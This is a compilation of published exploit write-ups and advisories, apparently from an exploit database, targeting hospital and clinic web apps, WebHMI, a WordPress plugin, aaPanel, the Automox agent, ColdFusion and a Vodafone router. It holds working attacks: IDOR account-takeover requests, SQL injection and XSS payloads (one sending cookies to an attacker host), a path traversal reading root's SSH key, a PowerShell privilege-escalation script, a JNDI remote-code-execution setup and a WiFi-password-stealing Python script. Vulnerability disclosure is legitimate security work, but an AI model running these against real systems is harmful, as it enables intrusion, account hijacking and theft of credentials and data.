<pre><code># Exploit Title: Hospitals Patient Records Management System 1.0 - Account TakeOver<br /># Date: 30/12/2021<br /># Exploit Author: twseptian<br /># Vendor Homepage: https://www.sourcecodester.com/php/15116/hospitals-patient-records-management-system-php-free-source-code.html<br /># Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/hprms_0.zip<br /># Version: v1.0<br /># Tested on: Kali Linux 2021.4<br /><br />*Insecure direct object references (IDOR)*<br />Insecure Direct Object References (IDOR) occur when an application provides direct access to objects based on user-supplied input.Insecure Direct Object References allow attackers to bypass authorization and access resources directly by modifying the value of a parameter used to directly point to an object. Such resources can be database entries belonging to other users, files in the system.<br /><br />*Attack Vector*<br />An attacker can takeover the Administrator's account<br /><br />*Steps of reproduce:*<br />Note: in this case, we used two users, user1 as a staff with user id '4', and admin as an Administrator with user id '1'.<br /><br />=====================================================================================================================================<br /><br />Step-1: Log in to the application using user1 account,then on the dashboard navigate to 'My Account'<br /><br />http://localhost/hprms/admin/?page=user<br /><br />=====================================================================================================================================<br /><br />Step-2: Modify the username,lastname and password,then let's intercept the request using burpsuite:<br /><br />POST /hprms/classes/Users.php?f=save HTTP/1.1<br />Host: localhost<br />User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0<br />Accept: */*<br />Accept-Language: en-US,en;q=0.5<br />Accept-Encoding: gzip, deflate<br />X-Requested-With: XMLHttpRequest<br />Content-Type: multipart/form-data; boundary=---------------------------17632878732301879013646251239<br />Content-Length: 806<br />Origin: http://localhost<br />Connection: close<br />Referer: http://localhost/hprms/admin/?page=user<br />Cookie: PHPSESSID=32kl57ct3p8nsicsrp8dte2c50<br />Sec-Fetch-Dest: empty<br />Sec-Fetch-Mode: cors<br />Sec-Fetch-Site: same-origin<br /><br />-----------------------------17632878732301879013646251239<br />Content-Disposition: form-data; name="id"<br /><br />4<br />-----------------------------17632878732301879013646251239<br />Content-Disposition: form-data; name="firstname"<br /><br />user1<br />-----------------------------17632878732301879013646251239<br />Content-Disposition: form-data; name="lastname"<br /><br />admin<br />-----------------------------17632878732301879013646251239<br />Content-Disposition: form-data; name="username"<br /><br />admin1<br />-----------------------------17632878732301879013646251239<br />Content-Disposition: form-data; name="password"<br /><br />admin1<br />-----------------------------17632878732301879013646251239<br />Content-Disposition: form-data; name="img"; filename=""<br />Content-Type: application/octet-stream<br /><br /><br />-----------------------------17632878732301879013646251239--<br /><br />=====================================================================================================================================<br /><br />Step-3: Change parameter id '4' to id '1'<br /><br />POST /hprms/classes/Users.php?f=save HTTP/1.1<br />Host: localhost<br />User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0<br />Accept: */*<br />Accept-Language: en-US,en;q=0.5<br />Accept-Encoding: gzip, deflate<br />X-Requested-With: XMLHttpRequest<br />Content-Type: multipart/form-data; boundary=---------------------------17632878732301879013646251239<br />Content-Length: 806<br />Origin: http://localhost<br />Connection: close<br />Referer: http://localhost/hprms/admin/?page=user<br />Cookie: PHPSESSID=32kl57ct3p8nsicsrp8dte2c50<br />Sec-Fetch-Dest: empty<br />Sec-Fetch-Mode: cors<br />Sec-Fetch-Site: same-origin<br /><br />-----------------------------17632878732301879013646251239<br />Content-Disposition: form-data; name="id"<br /><br />1<br />-----------------------------17632878732301879013646251239<br />Content-Disposition: form-data; name="firstname"<br /><br />user1<br />-----------------------------17632878732301879013646251239<br />Content-Disposition: form-data; name="lastname"<br /><br />admin<br />-----------------------------17632878732301879013646251239<br />Content-Disposition: form-data; name="username"<br /><br />admin1<br />-----------------------------17632878732301879013646251239<br />Content-Disposition: form-data; name="password"<br /><br />admin1<br />-----------------------------17632878732301879013646251239<br />Content-Disposition: form-data; name="img"; filename=""<br />Content-Type: application/octet-stream<br /><br /><br />-----------------------------17632878732301879013646251239--<br /><br />=====================================================================================================================================<br /><br />step-4: Click 'Forward' on burpsuite. Now user1 is a Administrator.<br /><br /></code></pre>
<pre><code># Exploit Title: WebHMI 4.1 - Stored Cross Site Scripting (XSS) (Authenticated)<br /># Date: 04/01/2022<br /># Exploit Author: Antonio Cuomo (arkantolo)<br /># Vendor Homepage: https://webhmi.com.ua/en/<br /># Version: WebHMI Firmware 4.1.1.7662<br /># Tested on: WebHMI Firmware 4.1.1.7662<br /><br />#Steps to Reproduce<br /><br />1. Login to admin account<br /><br />2. Add a new register or create new dashboard<br />insert payload <br /><br /><script>var i=new Image;i.src="http://ATTACKERIP/?"+document.cookie;</script> <br /><br />in Title field and save.<br /><br /># Dashboard section impact instantly all logged users.<br /><br />#Listener log:<br />GET /?PHPSESSID=acaa76374df7418e81460b4a625cb457;%20i18next=en;%20X-WH-SESSION-ID=8a5d6c60bdab0704f32e792bc1d36a6f HTTP/1.1<br />Host: 192.168.0.169:8080<br />Connection: keep-alive<br />User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36<br />Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8<br />Sec-GPC: 1<br />Referer: http://192.168.0.153/<br />Accept-Encoding: gzip, deflate<br />Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7<br /><br /><br /></code></pre>
<pre><code># Exploit Title: WordPress Plugin AAWP 3.16 - 'tab' Reflected Cross Site Scripting (XSS) (Authenticated)<br /># Date: 04/01/2022<br /># Exploit Author: Andrea Bocchetti<br /># Vendor Homepage: https://getaawp.com/<br /># Software Link: https://getaawp.com/<br /># Version: 3.16<br /># Tested on: Windows 10 - Chrome, WordPress 5.8.2<br /><br /># Proof of Concept:<br /># 1- Install and activate AAWP 3.16 plugin.<br /># 2- Go to https://localhost.com/wp-admin/admin.php?page=aawp-settings&tab=XXXX<br /># 3- Add payload to the Tab, the XSS Payload: %22onclick%3Dprompt%288%29%3E%3Csvg%2Fonload%3Dprompt%288%29%3E%22%40x.y<br /># 4- XSS has been triggered.<br /><br /># Go to this url "http://localhost/wp-admin/admin.php?page=aawp-settings&tab=%22onclick%3Dprompt%288%29%3E%3Csvg%2Fonload%3Dprompt%288%29%3E%22%40x.y"<br />XSS will trigger.<br /><br /></code></pre>
<pre><code>Discovery / credits: Malvuln - malvuln.com (c) 2022<br />Original source: https://malvuln.com/advisory/584bc06128469423f9e50e8a359d18ac_C.txt<br />Contact: malvuln13@gmail.com<br />Media: twitter.com/malvuln<br /><br />Threat: Backdoor.Win32.FTP.Ics<br />Vulnerability: Port Bounce Scan (MITM)<br />Description: The malware listens on TCP port 5554 and accepts any credentials. Third-party intruders who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you.<br />Type: PE32<br />MD5: 584bc06128469423f9e50e8a359d18ac<br />Vuln ID: MVID-2022-0500<br />Disclosure: 02/22/2022<br /><br /><br />Exploit/PoC:<br />nmap -n -Pn -b malvuln:malvuln@192.168.18.125:5554 -p21,22,80 192.168.18.237 -v<br />Starting Nmap 7.80 ( https://nmap.org ) at 2022-02-22 16:08 UTC-11<br />Resolved FTP bounce attack proxy to 192.168.18.125 (192.168.18.125).<br />Attempting connection to ftp://malvuln:malvuln@192.168.18.125:5554<br />Connected:220 ICS FTP Server ready.<br />Login credentials accepted by FTP server!<br />Initiating Bounce Scan at 16:08<br />Discovered open port 80/tcp on 192.168.18.237<br />Completed Bounce Scan at 16:08, 2.11s elapsed (3 total ports)<br />Nmap scan report for 192.168.18.237<br />Host is up.<br /><br />PORT STATE SERVICE<br />21/tcp closed ftp<br />22/tcp closed ssh<br />80/tcp open http<br /><br />Read data files from: C:\Program Files (x86)\Nmap<br />Nmap done: 1 IP address (1 host up) scanned in 11.27 seconds<br /><br /><br />Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).<br /></code></pre>
<pre><code>Document Title:<br />===============<br />uDoctorAppointment v2.1.1 - Multiple XSS Vulnerabilities<br /><br /><br />References (Source):<br />====================<br />https://www.vulnerability-lab.com/get_content.php?id=2288<br /><br /><br />Release Date:<br />=============<br />2021-12-15<br /><br /><br />Vulnerability Laboratory ID (VL-ID):<br />====================================<br />2288<br /><br /><br />Common Vulnerability Scoring System:<br />====================================<br />5<br /><br /><br />Vulnerability Class:<br />====================<br />Cross Site Scripting - Non Persistent<br /><br /><br />Current Estimated Price:<br />========================<br />500€ - 1.000€<br /><br /><br />Product & Service Introduction:<br />===============================<br />Clinic management, doctor or therapist online medical appointment scheduling system for the management of health care.<br />uDoctorAppointment script allows doctors to register and appropriate membership plan with different features.<br />Patients can view doctor profiles before booking appointments. The site administrator or doctor may create and<br />manage advanced schedules, create working time slots for each day of the week, define time off etc.<br /><br />(Copy of the Homepage:https://www.apphp.com/codemarket/items/1/udoctorappointment-php-script )<br /><br /><br />Abstract Advisory Information:<br />==============================<br />The vulnerability laboratory core research team discovered multiple non-persistent cross site web vulnerabilities in the uDoctorAppointment script web-application.<br /><br /><br />Affected Product(s):<br />====================<br />ApPHP<br />Product: uDoctorAppointment v2.1.1 - Health Care Script (PHP) (Web-Application)<br />Product: ApPHP MVC Framework v1.1.5 (Framework)<br /><br /><br />Vulnerability Disclosure Timeline:<br />==================================<br />2021-09-01: Researcher Notification & Coordination (Security Researcher)<br />2021-09-02: Vendor Notification (Security Department)<br />2021-09-10: Vendor Response/Feedback (Security Department)<br />2021-**-**: Vendor Fix/Patch (Service Developer Team)<br />2021-**-**: Security Acknowledgements (Security Department)<br />2021-12-15: Public Disclosure (Vulnerability Laboratory)<br /><br /><br />Discovery Status:<br />=================<br />Published<br /><br /><br />Exploitation Technique:<br />=======================<br />Remote<br /><br /><br />Severity Level:<br />===============<br />Medium<br /><br /><br />Authentication Type:<br />====================<br />Pre Auth (No Privileges or Session)<br /><br /><br />User Interaction:<br />=================<br />Low User Interaction<br /><br /><br />Disclosure Type:<br />================<br />Responsible Disclosure<br /><br /><br />Technical Details & Description:<br />================================<br />Multiple non-persistent cross site vulnerabilities has been discovered in the official uDoctorAppointment v2.1.1 script web-application.<br />The vulnerability allows remote attackers to inject own malicious script codes with non-persistent attack vector to compromise browser<br />to web-application requests from the client-side.<br /><br />The cross site security web vulnerabilities are located in the `created_at`, `created_date` and `sent_at` parameters of the `filter` web module.<br />The injection point is located in the parameters and the execution occurs in the filter module. The request method to inject the malicious script<br />code is GET and the attack vector of the vulnerability is non-persistent on client-side.<br /><br />Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent external redirects<br />to malicious source and non-persistent manipulation of affected application modules.<br /><br />Request Method(s):<br />[+] GET<br /><br />Vulnerable Module(s):<br />[+] ./doctorReviews/doctorReviews<br />[+] ./orders/orders<br />[+] /mailingLog/manage<br />[+] /orders/doctorsManage<br />[+] /news/manage<br />[+] /newsSubscribers/manage<br />[+] /doctorReviews/manage/status/approved<br />[+] /appointments/manage<br /><br />Vulnerable Parameter(s):<br />[+] created_at<br />[+] created_date<br />[+] sent_at<br />[+] appointment_date<br /><br />Affected Module(s):<br />[+] Filter<br /><br /><br />Proof of Concept (PoC):<br />=======================<br />The client-side cross site scripting web vulnerabilities can be exploited by remote attackers without account and with low user interaction.<br />For security demonstration or to reproduce the cross site web vulnerability follow the provided information and steps below to continue.<br /><br /><br />Exploitation: Payload<br />">%20<img%20src="evil.source"%20onload=alert(document.domain)></img><br /><br /><br />Role: Patient (Frontend - created_at)<br />https://doctor-appointment.localhost:8080/doctorReviews/doctorReviews?patient_name=test&created_at=2021-09-08&but_filter=Filter<br />-<br />https://doctor-appointment.localhost:8080/doctorReviews/doctorReviews?patient_name=test&created_at=%22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)%3E&but_filter=Filter<br /><br /><br />Role: Doctor (Frontend - created_date)<br />https://doctor-appointment.localhost:8080/orders/orders?order_number=test&created_date=2021-09-08&status=2&but_filter=Filter<br />-<br />https://doctor-appointment.localhost:8080/orders/orders?order_number=test&created_date=%22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)%3E&status=2&but_filter=Filter<br /><br /><br />Role: Admin (Backend -<br />https://doctor-appointment.localhost:8080/mailingLog/manage?email_subject=test1&email_content=test2&email_from=test3&email_to=test4&sent_at=2021-09-01&status=0&but_filter=Filter<br />https://doctor-appointment.localhost:8080/orders/doctorsManage?order_number=test1&created_date=2021-09-01&doctor_id=1&status=1&but_filter=Filter<br />https://doctor-appointment.localhost:8080/news/manage?news_header=test1&created_at=2021-09-01&but_filter=Filter<br />https://doctor-appointment.localhost:8080/newsSubscribers/manage?first_name=test1&last_name=test2&email=test%40aol.com&created_at=2021-09-01&but_filter=Filter<br />https://doctor-appointment.localhost:8080/doctorReviews/manage/status/approved?doctor_first_name%2Cdoctor_last_name=test1&patient_name=test2&created_at=2021-09-01&but_filter=Filter<br />https://doctor-appointment.localhost:8080/appointments/manage?appointment_number=test1&patient_first_name%2Cpatient_last_name=test2&doctor_first_name%2Cdoctor_last_name=test3&appointment_date=2021-09-01&but_filter=Filter<br />https://doctor-appointment.localhost:8080/orders/doctorsManage?order_number=test1&created_date=2021-09-01&doctor_id=1&status=1&but_filter=Filter<br />-<br />https://doctor-appointment.localhost:8080/mailingLog/manage?email_subject=test1&email_content=test2&email_from=test3&email_to=test4&sent_at=%22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)%3E&status=0&but_filter=Filter<br />https://doctor-appointment.localhost:8080/orders/doctorsManage?order_number=test1&created_date=%22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)%3E&doctor_id=1&status=1&but_filter=Filter<br />https://doctor-appointment.localhost:8080/news/manage?news_header=test1&created_at=%22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)%3E&but_filter=Filter<br />https://doctor-appointment.localhost:8080/newsSubscribers/manage?first_name=test1&last_name=test2&email=test%40aol.com&created_at=%22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)%3E&but_filter=Filter<br />https://doctor-appointment.localhost:8080/doctorReviews/manage/status/approved?doctor_first_name%2Cdoctor_last_name=test1&patient_name=test2&created_at=%22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)%3E&but_filter=Filter<br />https://doctor-appointment.localhost:8080/appointments/manage?appointment_number=test1&patient_first_name%2Cpatient_last_name=test2&doctor_first_name%2Cdoctor_last_name=test3&appointment_date=%22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)%3E&but_filter=Filter<br />https://doctor-appointment.localhost:8080/orders/doctorsManage?order_number=test1&created_date=%22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)%3E&doctor_id=1&status=1&but_filter=Filter<br /><br /><br />Vulnerable Source: ./mailingLog<br /><div class="filtering-wrapper"><br /><form id="frmFilterMailingLog" action="mailingLog/manage" method="get"><br />Subject: <input id="email_subject" style="width:140px;" maxlength="125" type="text" value="a" name="email_subject"><br />Content: <input id="email_content" style="width:140px;" maxlength="125" type="text" value="b" name="email_content"><br />From: <input id="email_from" style="width:130px;" maxlength="125" type="text" value="c" name="email_from"><br />To: <input id="email_to" style="width:130px;" maxlength="125" type="text" value="d" name="email_to"><br />Date Sent: <input id="sent_at" maxlength="255" style="width:80px;"<br />type="text" value=">" <img="" src="evil.source" onload="alert(document.cookie)" [MALICIOUS EXECUTABLE SCRIPT CODE PAYLOAD!] class="hasDatepicker"><br /><img class="ui-datepicker-trigger" src="assets/vendors/jquery/images/calendar.png" alt="..." title="..."><br />" name="sent_at" />Status: <select id="status" style="width: 90px; padding: 10px; display: none;" name="status" class="chosen-select-filter"><br /><option value="" selected="selected">--</option><br /><option value="0">Not Sent</option><br /><option value="1">Sent</option><br /></select><div class="chosen-container chosen-container-single chosen-container-single-nosearch" style="width: 90px;" title="" id="status_chosen"><br /><a class="chosen-single" tabindex="-1"><span>--</span><div><b></b></div></a><div class="chosen-drop"><div class="chosen-search"><br /><input type="text" autocomplete="off" readonly="" maxlength="255"></div><ul class="chosen-results"></ul></div></div>&nbsp;<br /><div class="buttons-wrapper"><br /><input name="" class="button white" onclick="jQuery(location).attr('href','https://doctor-appointment.localhost:8080/mailingLog/manage');" type="button" value="Cancel"><br /><input name="but_filter" type="submit" value="Filter"><br /></div></form></div><br /><br /><br />--- PoC Session Logs (GET) ---<br />https://doctor-appointment.localhost:8080/mailingLog/manage?email_subject=a&email_content=b&email_from=c&email_to=d&sent_at=>"<img+src%3D"evil.source"+onload%3Dalert(document.cookie)>++&status=&but_filter=Filter<br />Host: doctor-appointment.localhost:8080<br />Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8<br />Connection: keep-alive<br />Cookie: isOpened=menu-04; apphp_9tmmw0krko=g2234alc8h8ks3ms2nsbp4tsa9<br />-<br />GET: HTTP/1.1 200 OK<br />Server: Apache<br />Content-Length: 2914<br />Connection: Keep-Alive<br />Content-Type: text/html; charset=utf-8<br /><br /><br />Reference(s):<br />https://doctor-appointment.localhost:8080/<br />https://doctor-appointment.localhost:8080/mailingLog/<br />https://doctor-appointment.localhost:8080/news/manage<br />https://doctor-appointment.localhost:8080/order/manage<br />https://doctor-appointment.localhost:8080/mailingLog/manage<br />https://doctor-appointment.localhost:8080/appointments/manage<br />https://doctor-appointment.localhost:8080/orders/doctorsManage<br />https://doctor-appointment.localhost:8080/newsSubscribers/manage<br /><br /><br />Solution - Fix & Patch:<br />=======================<br />The vulnerability can be resolved by a filter or secure encode of the vulnerable created_date, appointment_date, sent_at and create_at parameters.<br />Disallow the usage of special chars in the affected parameters on get method requests.<br />Sansitize the vulnerable output location to resolve the point of execution in the filter module.<br /><br /><br />Credits & Authors:<br />==================<br />Vulnerability-Lab [RESEARCH TEAM] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab<br /><br /><br />Disclaimer & Information:<br />=========================<br />The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,<br />either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab<br />or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits<br />or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do<br />not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.<br />We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.<br /><br />Domains:www.vulnerability-lab.com www.vuln-lab.com www.vulnerability-db.com<br />Services: magazine.vulnerability-lab.com paste.vulnerability-db.com infosec.vulnerability-db.com<br />Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab youtube.com/user/vulnerability0lab<br />Feeds: vulnerability-lab.com/rss/rss.php vulnerability-lab.com/rss/rss_upcoming.php vulnerability-lab.com/rss/rss_news.php<br />Programs: vulnerability-lab.com/submit.php vulnerability-lab.com/register.php vulnerability-lab.com/list-of-bug-bounty-programs.php<br /><br />Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.<br />Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other<br />media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other<br />information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or<br />edit our material contact (admin@ or research@) to get a ask permission.<br /><br /> Copyright © 2021 | Vulnerability Laboratory - [Evolution Security GmbH]™<br /><br /><br /><br />-- <br />VULNERABILITY LABORATORY (VULNERABILITY LAB)<br />RESEARCH, BUG BOUNTY & RESPONSIBLE DISCLOSURE<br /><br /></code></pre>
<pre><code># Exploit Title: aaPanel 6.8.21 - Directory Traversal (Authenticated)<br /># Date: 22.02.2022<br /># Exploit Author: Fikrat Ghuliev (Ghuliev)<br /># Vendor Homepage: https://www.aapanel.com/<br /># Software Link: https://www.aapanel.com<br /># Version: 6.8.21<br /># Tested on: Ubuntu<br /><br />Application vulnerable to Directory Traversal and attacker can get root user private ssh key(id_rsa)<br /><br />#Go to App Store<br /><br />#Click to "install" in any free plugin.<br /><br />#Change installation script to ../../../root/.ssh/id_rsa<br /><br />POST /ajax?action=get_lines HTTP/1.1<br />Host: IP:7800<br />Content-Length: 41<br />Accept: */*<br />X-Requested-With: XMLHttpRequest<br />User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)<br />AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82<br />Safari/537.36<br />Content-Type: application/x-www-form-urlencoded; charset=UTF-8<br />Origin: http://IP:7800<br />Referer: http://IP:7800/soft<br />Accept-Encoding: gzip, deflate<br />Accept-Language: en-US,en;q=0.9<br />Cookie: aa0775f98350c5c13bfd21f2c6b8c288=d20c4937-e5ae-46fb-b8bd-fa7c290d805a.ohyRHdOIMj3DBfyddCRbL-rlKB0;<br />request_token=nKLXa4RUXgwBHeWNyMH1MEDSkTaks9dWjQ7zzA0iRc7lrHwd;<br />serverType=nginx; order=id%20desc; memSize=3889; vcodesum=13;<br />page_number=20; backup_path=/www/backup; sites_path=/www/wwwroot;<br />distribution=ubuntu; serial_no=; pro_end=-1; load_page=null;<br />load_type=null; load_search=undefined; force=0; rank=list;<br />Path=/www/wwwroot; bt_user_info=; default_dir_path=/www/wwwroot/;<br />path_dir_change=/www/wwwroot/<br />Connection: close<br /><br />num=10&filename=../../../root/.ssh/id_rsa<br /><br /></code></pre>
<pre><code># Exploit Title: Automox Agent 32 - Local Privilege Escalation<br /># Date: 13/12/2021<br /># Exploit Author: Greg Foss<br /># Writeup: https://www.lacework.com/blog/cve-2021-43326/<br /># Vendor Homepage: https://www.automox.com/<br /># Software Link: https://support.automox.com/help/agents<br /># Version: 31, 32, 33<br /># Tested on: Windows 10<br /># Language: PowerShell<br /># CVE: CVE-2021-43326<br /><br />New-Item -ItemType Directory -Force -Path $HOME\Desktop\automox\<br />$payload = "whoami >> $HOME\Desktop\automox\who.txt"<br />echo ""<br />echo "Watching for Automox agent interaction..."<br />echo ""<br />for (($i = 0); $i -lt 500; $i++) {<br /> if (Test-Path -Path \ProgramData\amagent\execDir*\*.ps1) {<br /> try {<br /> $dir = Get-ChildItem \ProgramData\amagent\execDir* | Select-Object Name<br /> $dir = $dir.name<br /> $file = Get-ChildItem \ProgramData\amagent\$dir\*.ps1 | Select-Object Name<br /> $file = $file.name<br /> (Get-Content -Path \ProgramData\amagent\$dir\$file -Raw) -replace "#endregion", "$payload" | Set-Content -Path \ProgramData\amagent\$dir\$file<br /> cp -r \ProgramData\amagent\$dir $HOME\Desktop\automox\<br /> echo 'popped :-)'<br /> Start-Sleep 5<br /> echo ''<br /> echo 'cloning all powershell script content...'<br /> for (($i = 0); $i -lt 100; $i++) {<br /> cp -r \ProgramData\amagent\* $HOME\Desktop\automox\ -Force<br /> Start-Sleep 1<br /> }<br /> exit<br /> } catch {<br /> throw $_.Exception.Message<br /> }<br /> } else {<br /> echo $i<br /> Start-Sleep 1<br /> }<br />}<br /><br /></code></pre>
<pre><code># Exploit Title: Adobe ColdFusion 11 - LDAP Java Object Deserialization Remode Code Execution (RCE)<br /># Google Dork: intext:"adobe coldfusion 11"<br /># Date: 2022-22-02<br /># Exploit Author: Amel BOUZIANE-LEBLOND (https://twitter.com/amellb)<br /># Vendor Homepage: https://www.adobe.com/sea/products/coldfusion-family.html<br /># Version: Adobe Coldfusion (11.0.03.292866)<br /># Tested on: Microsoft Windows Server & Linux<br /><br /># Description:<br /># ColdFusion allows an unauthenticated user to connect to any LDAP server. An attacker can exploit it to achieve remote code execution.<br /># JNDI attack via the 'verifyldapserver' parameter on the utils.cfc<br /><br />==================== 1.Setup rogue-jndi Server ====================<br /><br />https://github.com/veracode-research/rogue-jndi<br /><br /><br />==================== 2.Preparing the Attack =======================<br /><br />java -jar target/RogueJndi-1.1.jar --command "touch /tmp/owned" --hostname "attacker_box"<br /><br />==================== 3.Launch the Attack ==========================<br /><br /><br />http://REDACTED/CFIDE/wizards/common/utils.cfc?method=verifyldapserver&vserver=LDAP_SERVER&vport=LDAP_PORT&vstart=&vusername=&vpassword=&returnformat=json<br /><br /><br />curl -i -s -k -X $'GET' \<br /> -H $'Host: target' \<br /> --data-binary $'\x0d\x0a\x0d\x0a' \<br /> $'http://REDACTED//CFIDE/wizards/common/utils.cfc?method=verifyldapserver&vserver=LDAP_SERVER&vport=LDAP_PORT&vstart=&vusername=&vpassword=&returnformat=json'<br /><br /><br />==================== 4.RCE =======================================<br /><br />Depend on the target need to compile the rogue-jndi server with JAVA 7 or 8 <br />Can be done by modify the pom.xml as below<br /><br /><configuration><br /><source>7</source><br /><target>7</target><br /></configuration><br /><br /></code></pre>
<pre><code># Exploit Title: Vodafone H-500-s 3.5.10 - WiFi Password Disclosure<br /># Date: 01/01/2022<br /># Exploit Author: Daniel Monzón (stark0de)<br /># Vendor Homepage: https://www.vodafone.es/<br /># Software Link: N/A<br /># Version: Firmware version Vodafone-H-500-s-v3.5.10<br /># Hardware model: Sercomm VFH500<br /><br /># The WiFi access point password gets disclosed just by performing a GET request with certain headers<br /><br />import requests<br />import sys<br />import json<br />if len(sys.argv) != 2:<br />print("Usage: python3 vodafone-pass-disclose.py http://IP")<br />sys.exit()<br />url = sys.argv[1]+"/data/activation.json"<br />cookies = {"pageid": "129"}<br />headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101<br /><br />Firefox/78.0", "Accept": "application/json, text/javascript, */*; q=0.01", "Accept-<br />Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "X-Requested-<br />With": "XMLHttpRequest", "Connection": "close", "Referer":"http://192.168.0.1/activation.html?mode=basic&lang=en-es&step=129"}<br /><br />req=requests.get(url, headers=headers, cookies=cookies)<br />result=json.loads(req.text)[3].get("wifi_password")<br />print("[+] The wifi password is: "+result)<br /> <br /><br /></code></pre>
<pre><code># Exploit Title: Hospitalss Patient Records Management System 1.0 - 'id' SQL Injection (Authenticated)<br /># Date: 30/12/2021<br /># Exploit Author: twseptian<br /># Vendor Homepage: https://www.sourcecodester.com/php/15116/hospitals-patient-records-management-system-php-free-source-code.html<br /># Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/hprms_0.zip<br /># Version: v1.0<br /># Tested on: Kali Linux 2021.4<br /><br />*SQL Injection*<br />SQL injection is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. Hospital's Patient Records Management System v1.0 is vulnerable to SQL injection via the 'id' parameter on the patient list.<br /><br />*Attack Vector*<br />An attacker can compromise the database of the application using some automated(or manual) tools like SQLmap.<br /><br />*Steps to reproduce:*<br />Step-1: On the dashboard navigate to 'Patient List', then go to 'Action' > 'View Records' page using the following URL:<br />http://localhost/hprms/admin/?page=patients/view_patient&id=1<br /><br />Step-2: Put the SQL Injection payloads in 'id' field.<br />time-based blind payload : page=patients/view_patient&id=1' AND (SELECT 2664 FROM (SELECT(SLEEP(5)))ixec) AND 'XcAY'='XcAY<br /><br />Step-3: Now, the Server target accepted our payload and the response got delayed by 5 seconds.<br /><br /></code></pre>